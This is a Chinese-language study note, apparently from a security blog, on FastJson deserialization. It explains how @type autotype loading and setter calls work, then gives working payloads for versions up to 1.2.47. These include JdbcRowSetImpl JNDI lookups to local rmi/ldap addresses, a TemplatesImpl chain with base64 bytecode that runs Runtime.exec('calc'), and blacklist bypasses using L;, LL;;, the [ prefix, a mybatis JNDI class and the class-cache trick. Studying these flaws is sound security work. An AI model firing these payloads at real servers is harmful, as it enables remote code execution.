FastJson

概述

FastJson 是阿里巴巴开源的 JSON 解析库,支持 JSON Object 和 JSON 字符串的互转。

主要提供了以下接口用于序列化和反序列化:

  • JSON.toJSONString
  • JSON.parseObject / JSON.parse

不是所有的 JAVA 对象都能被转为 JSON,只有 Java Bean 格式的对象才能被 Fastjson 转为 JSON。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example;

public class Person {
public String name;
public int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

如果序列化对象的时候,如果 toJSONString() 方法不添加额外的属性,那么就会将一个 Java Bean 转换成 JSON 字符串(且不带类名)。

如果反序列化时不指定特定的类,那么 Fastjosn 就默认将一个 JSON 字符串反序列化为一个 JSONObject。需要注意的是,对于类中 private 类型的属性值,Fastjson 默认不会将其序列化和反序列化。

在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串。

Fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

@type

1
2
String jsonStr = JSON.toJSONString(person, SerializerFeature.WriteClassName);
//{"@type":"com.example.Person","age":20,"name":"Alice"}

这里的 @type 就很好标识了类的来源,

1
2
System.out.println(JSON.parse(jsonStr));
//com.example.Person@497470ed

也可以通过反序列化时候指定对象的类型,但这显然是冗杂且固定的。

1
JSON.parseObject(JSON_Serialize,Person.class);

流程分析

我们重点关注一下 parse 方法是如何将一个 JSON 字符串反序列化为一个 JSON Object 对象的:

image-20260420110713853

这里只是对 parse 做了封装,如果不是 JSONObject 就强转一下。

image-20260420111955792

image-20260420113155269

可以推测出在反序列化过程中,会先调用 @type 类的构造函数,再调用 setattr 给对象赋值。

这里可以看到 parse 方法本质调用了 set 方法(JSONString 中有的字段),而 praseObject 方法本质调用的是 get 方法(所有字段,本质是 ToJson 方法调用的)和 set 方法(JSONString 中有的字段)。

但如果不试用 @type 则在 parseObject 中不会调用 toJson,因此也不会调用 getattr

源码分析

会走到 DefaultJSONParser#parseObject 方法:

image-20260420114051805

这里会通过 scanSymbol 方法解析出来表示符 @type

image-20260420114245748

然后会进行反射加载 Class,调用构造方法。

image-20260420114348348

然后会一步步判断根据类来生成不同的或者自定义的 deserializer

最后会动态获取属性和方法,接着循环查找特定的 setter

  • 方法名长度大于四,以 set/get 开头,且第四个字母要大写
  • 非静态方法
  • 返回值为 void 或当前类
  • 参数数量一个

漏洞与利用

注意到这种 autotype 的属性配合 set 方法,就能够触发反序列化漏洞。

FastJson <= 1.2.24

JdbcRowSetImpl

setDataSourceName 方法:

image-20260420123518488

image-20260420123524034

这里会设置 dataSource = name

setAutoCommit 方法:

image-20260420123433814

image-20260420123417093

这里会触发 lookup 方法,参数正是 dataSource,所以说我们就控制 dataSource 为我们想要的服务器地址。

payload:

1
2
3
4
5
6
7
8
9
10
11
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/hello",
"autoCommit": true
}

{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:9999/EXP",
"autoCommit": true
}

TemplatesImpl

其实这条链在 CC3 的时候已经利用过了,大体原理就是 TemplatesImpl 最后的目标都是调用 defineClass 进行动态类加载,那么该类下面的 getOutProperties 方法能走到 defineClass,我们需要构造一个 TemplatesImpl 类的 JSON,并且将 _outputProperties 复制,这样就会调用 getOutputProperties 方法进而调用 defineClass 方法。

具体方法链:getOutputProperties => newTransformer => getTransletInstance => defineTranslateClasses => defineClass

要注意:

  • _name 不为 null

  • _class 不为 null

  • _tfactory 不为 null

  • 加载的恶意类必须是 AbstractTranslet 的子类

  • 需要把 bytes 类型的东西进行 Base64 编码

  • 需要 Feature.SupportNonPublicField,支持私有属性

    image-20260420132118369

恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Payload extends AbstractTranslet {

public Payload() throws IOException{
Runtime.getRuntime().exec("calc");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) throws IOException {
Payload payload = new Payload();
}
}

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Temp {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}

FastJson = 1.2.25-1.2.41

高版本增加了对类的checkAutoType()检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport,默认开启白名单机制(AutoTypeSupport = false),需要手动关闭才可以。

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 

image-20260420133622213

我们设置 autoTypeSupport = true 后,跟进 TypeUtils#loadClass 看一下:

image-20260420133859733

可以发现如果以 [ 开头去掉 [ 进行类加载;如果以 L 开头,以 ; 结尾,则去掉开头和结尾进行类加载。

1
2
3
4
5
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://127.0.0.1:1099/hello",
"autoCommit": true
}

FastJson = 1.2.42

  • 黑名单改为了 hash 值,防止绕过
  • 对于传入的类名删掉开头的 L;

理论上来说可以通过碰撞 hash 值碰出黑名单是什么的,不过其实没必要,因为双写就可以绕过。

1
2
3
4
5
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "rmi://127.0.0.1:1099/hello",
"autoCommit": true
}

FastJson = 1.2.43

这个版本对 L; 进行了过滤,只能够通过数组的方式:第一个 [ 表示数组,第二个 [ 表示数组开始,数组第一个元素对象开始 {

payload:

1
2
3
4
5
{
"@type": "[com.sun.rowset.JdbcRowSetImpl[{",
"dataSourceName": "rmi://127.0.0.1:1099/hello",
"autoCommit": true
}

FastJson = 1.2.45

存在 mybatis 组件漏洞:

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>

payload:

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "rmi://127.0.0.1:1099/hello"
}
}

FastJson = 1.2.47

该版本Payload能够绕过 checkAutoType 内的各种检测,原理是通过 Fastjson 自带的缓存机制将恶意类加载到 Mapping 中,从而绕过 checkAutoType 检测。

看一下代码:

image-20260420141447016

注意到 mapping 中如果有缓存那么就可以绕过黑名单检测,下一步我们怎么控制 mapping 属性从而写入恶意类到 mapping 中。

image-20260420141610831

注意到是从 mapping 中获取类名,那就看看这个 mapping.put 在哪被调用的。

image-20260420141741265

上面的 loadClass 被自动调用,调用到下面的缓存方法且 cache 默认是 true,非常完美。

那么第一个 loadClass 在哪被调用的呢,我们找到 MiscCodec#deserialze

image-20260420142000131

其中 clazz 必须是 Class.classstrVal 就是 className

image-20260420142041580

写入 val 属性:

image-20260420142650586

这样就可以先写入缓存,然后再读取。

payload:

1
2
3
4
5
6
7
8
9
10
11
{
"1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/hello",
"autoCommit": true
}
}

此版本无需 AutoTypeSupport = true。

其他 Trick

当存在反序列化漏洞,并可以跳转到 toString 为入口时,就可以通过 Fastjson 的 com.alibaba.fastjson.JSONObject.toString 方法,这个方法可以调用任意类的 getter 方法,也就可以配合 TemplatesImpl 进行RCE。

1
2
3
4
5
6
7
...能够调用任意类的toString()方法
* com.alibaba.fastjson.JSONObject.toString()
* com.alibaba.fastjson.JSON.toString()
* com.alibaba.fastjson.JSON.toJSONString()
* com.alibaba.fastjson.serializer.MapSerializer.write()
* TemplatesImpl.getOutputProperties()
...TemplatesImpl的调用过程